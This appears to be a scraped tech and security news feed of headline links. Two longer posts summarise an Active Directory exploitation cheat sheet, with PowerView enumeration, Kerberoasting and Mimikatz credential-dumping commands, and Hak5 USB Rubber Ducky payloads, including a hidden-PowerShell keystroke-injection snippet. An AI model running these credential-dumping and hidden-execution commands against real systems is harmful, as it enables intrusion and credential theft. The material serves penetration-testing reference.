🖥️ #Google Photos Gains More Control: Undo Device Backup Feature

https://undercodenews.com/google-photos-gains-more-control-undo-device-backup-feature/

@Undercode_News

Improved with Engaging and Analysis

https://undercodenews.com/improved-with-engaging-and-analysis/

@Undercode_News

📱 #Apple's Future Leadership: A Smooth Transition?

https://undercodenews.com/apples-future-leadership-a-smooth-transition/

@Undercode_News

One UI 7 Beta Launch Imminent: #Samsung Germany Confirms

https://undercodenews.com/one-ui-7-beta-launch-imminent-samsung-germany-confirms/

@Undercode_News

⚡️ Informative #Samsung's TVKey Cloud: A New TV Viewing

https://undercodenews.com/informative-samsungs-tvkey-cloud-a-new-tv-viewing/

@Undercode_News

🚨 Urgent: Critical Vulnerabilities Exploited in Multiple Devices and Routers

https://undercodenews.com/urgent-critical-vulnerabilities-exploited-in-multiple-devices-and-routers/

@Undercode_News

🌐 Global Crackdown on Russian Money Laundering Networks

https://undercodenews.com/global-crackdown-on-russian-money-laundering-networks/

@Undercode_News

⚡️ #Microsoft Fortifies #Windows Resilience After Major #Update Fiasco

https://undercodenews.com/microsoft-fortifies-windows-resilience-after-major-update-fiasco/

@Undercode_News

#AI's Impact on Society and the Evolving #Digital Landscape

https://undercodenews.com/ais-impact-on-society-and-the-evolving-digital-landscape/

@Undercode_News

⚡️ One UI 6 Watch #Update: A Closer Look

https://undercodenews.com/one-ui-6-watch-update-a-closer-look/

@Undercode_News

Global Crackdown: 1,000+ Cybercriminals Arrested in Africa

https://undercodenews.com/global-crackdown-1000-cybercriminals-arrested-in-africa/

@Undercode_News

A Fresh Look at the #Microsoft Store

https://undercodenews.com/a-fresh-look-at-the-microsoft-store/

@Undercode_News

🚨 MirrorFace's Evolving Tactics: A New Wave of Cyber Threats

https://undercodenews.com/mirrorfaces-evolving-tactics-a-new-wave-of-cyber-threats/

@Undercode_News

⚠️ Be Aware! SpyLoan #Malware Targets Millions Through Fake Loan Apps on #Google Play

https://undercodenews.com/be-aware-spyloan-malware-targets-millions-through-fake-loan-apps-on-google-play/

@Undercode_News

🦑 Active Directory Exploitation Cheat Sheet - AD Enumeration and Exploitation

The Active Directory Exploitation Cheat Sheet by [S1ckB0y1337](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) is a comprehensive collection of enumeration and attack methods for Windows Active Directory environments. This resource is ideal for penetration testers and red teamers focusing on AD security.

---

### GitHub Repository:
[Active Directory Exploitation Cheat Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)

---

### Commands and Usage Examples:

#### 1. Domain Enumeration
Using PowerView:

# Get current domain details
Get-Domain

# Enumerate domain users
Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

# Enumerate domain controllers
Get-DomainController

---

#### 2. Lateral Movement
Using PowerShell Remoting:

# Enable remoting
Enable-PSRemoting -Force

# Invoke a remote command
Invoke-Command -ComputerName <TargetComputer> -ScriptBlock {Get-Process}

---

#### 3. Privilege Escalation
Using Kerberoasting:

# Find SPNs for Kerberoasting
Get-DomainUser -SPN

Exported SPNs can then be cracked using tools like Rubeus or Hashcat.

---

#### 4. Credential Dumping
Using Mimikatz:

# Launch Mimikatz
mimikatz.exe

# Dump credentials
privilege::debug
lsadump::sam

---

### Popular Features:
1. User Hunting: Locate where privileged users have active sessions:

   Find-DomainUserLocation
   

2. Enumeration of Group Policies:

   Get-DomainGPO | Sort-Object -Property DisplayName
   

3. Abusing ACLs for Privilege Escalation:

   Get-DomainObjectAcl -Identity <AccountName> -ResolveGUIDs
   

---

### Notable Tools Integrated:
- PowerView: Active Directory enumeration.
- BloodHound: AD attack path analysis.
- Mimikatz: Credential dumping.
- Impacket: Exploitation toolkit.

---

### Key Use Cases:
1. Enumeration: Map out users, computers, and domain trust relationships.
2. Privilege Escalation: Exploit Kerberoasting, constrained delegation, or DNSAdmins.
3. Lateral Movement: Execute remote commands and pivot across systems.
4. Persistence: Set up Golden Tickets or Skeleton Keys.

This cheat sheet is an essential resource for systematically targeting and exploiting Active Directory. Use it responsibly and within legal boundaries!

#Windows 11 24H2: A Wider Rollout

https://undercodenews.com/windows-11-24h2-a-wider-rollout/

@Undercode_News

🦑 USB Rubber Ducky Payload

The [USB Rubber Ducky Payload Repository](https://github.com/hak5/usbrubberducky-payloads) by Hak5 provides a collection of ready-to-use payloads for the USB Rubber Ducky—a keystroke injection tool often used for penetration testing and red teaming. These payloads simulate fast and stealthy input for various exploits and tasks.

---

### GitHub Repository:
[Hak5 USB Rubber Ducky Payloads](https://github.com/hak5/usbrubberducky-payloads)

---

### Example Payload Structure:

#### Payload Documentation
All payloads start with comments that describe their purpose, author, target, and configuration.

REM Title: Example Payload
REM Author: Korben Dallas
REM Description: Opens hidden PowerShell
REM Target: Windows 10
REM Props: Hak5, Darren Kitchen
REM Version: 1.0
REM Category: General

---

#### Payload Example: URL Opening Script
This payload opens a URL after a brief delay.

BEGINNING OF PAYLOAD

REM CONFIGURATION
REM REQUIRED - Provide URL
DEFINE #MY_TARGET_URL example.com

REM OPTIONAL - Set boot delay; default is 5 seconds
DEFINE #BOOT_DELAY 5000

DELAY #BOOT_DELAY

STRING start chrome.exe #MY_TARGET_URL
ENTER

---

### Features:
1. Preconfigured Payloads:
- Password exfiltration
- Reverse shells
- Network reconnaissance
- Drive-by downloads

2. Customizable Payloads:
- DEFINE statements for reusable parameters.
- DELAY statements to time operations precisely.

3. Cross-Platform Targeting:
- Payloads can be customized for Windows, macOS, and Linux.

---

### Key Payload Categories:
1. Information Gathering:
- Automated reconnaissance.
- Exporting network details.

2. Exploitation:
- Privilege escalation.
- Exploiting vulnerabilities via automated commands.

3. Post-Exploitation:
- Extracting data or installing backdoors.

4. Social Engineering:
- Simulating user activity or spoofing actions.

---

### Notable Use Case:
#### Hidden PowerShell Script Execution

REM Title: Hidden PowerShell Execution
REM Author: Hak5
REM Description: Launches a hidden PowerShell instance.
REM Target: Windows 10
REM Category: Post-Exploitation

DELAY 5000
STRING powershell -windowstyle hidden
ENTER

---

### Usage:
1. Select a payload from the repository.
2. Edit the payload as per your target's configuration.
3. Load the payload onto the USB Rubber Ducky.
4. Deploy and execute the payload by plugging it into the target system.

This repository is a must-have for penetration testers aiming to automate tasks, test security defenses, or explore advanced attack vectors. Ensure proper authorization when using these tools.

⚡️ #Google #Chrome's New #AI-Powered Feature: Store Reviews

https://undercodenews.com/google-chromes-new-ai-powered-feature-store-reviews/

@Undercode_News

🦑Game changer. Microsoft open-sourced bitnet.cpp, you can now run 100B LLMs locally without a GPU needed.

The framework quantizes LLMs to 1-bit precision and runs inference directly on CPUs, making large language models accessible on standard hardware.

Technical details:
▸ Forked from llama.cpp with optimizations for 1-bit inference
▸ Handles models up to 100B parameters locally
▸ Achieves 6.17x speedup compared to standard inference
▸ Reduces energy consumption by 82.2%
▸ Works on standard CPUs without specialized hardware

Repo: https://lnkd.in/guEhH8ad
↓
Are you an AI developer? Check out https://AlphaSignal.ai to get a daily summary of breakthrough models, repos and papers in AI. Read by 200,000+ devs.

Rethinking LLM Evaluation with 3C3H: The AraGen Benchmark and Leaderboard

https://undercodenews.com/rethinking-llm-evaluation-with-3c3h-the-aragen-benchmark-and-leaderboard/

@Undercode_News